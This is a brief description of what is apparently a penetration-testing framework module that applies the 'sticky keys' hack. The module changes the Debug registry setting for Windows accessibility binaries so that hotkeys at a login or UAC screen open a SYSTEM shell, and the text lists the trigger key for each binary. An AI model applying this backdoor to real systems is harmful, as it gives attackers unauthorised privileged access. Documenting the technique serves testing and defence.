          This module makes it possible to apply the 'sticky keys' hack to a session with appropriate
          rights. The hack provides a means to get a SYSTEM shell using UI-level interaction at an RDP
          login screen or via a UAC confirmation dialog. The module modifies the Debug registry setting
          for certain executables.

          The module options allow for this hack to be applied to:

          SETHC   (sethc.exe is invoked when SHIFT is pressed 5 times),
          UTILMAN (Utilman.exe is invoked by pressing WINDOWS+U),
          OSK     (osk.exe is invoked by pressing WINDOWS+U, then launching the on-screen keyboard),
          DISP    (DisplaySwitch.exe is invoked by pressing WINDOWS+P),
          NARRATOR (Narrator.exe is invoked by pressing WINDOWS+CTR+ENTER),
          ATBROKER (AtBroker.exe is invoked by launching accessibility features from the login screen, such as WINDOWS+CTR+ENTER).

          Custom payloads and binaries can be run as part of this exploit, but must be manually uploaded
          to the target prior to running the module.
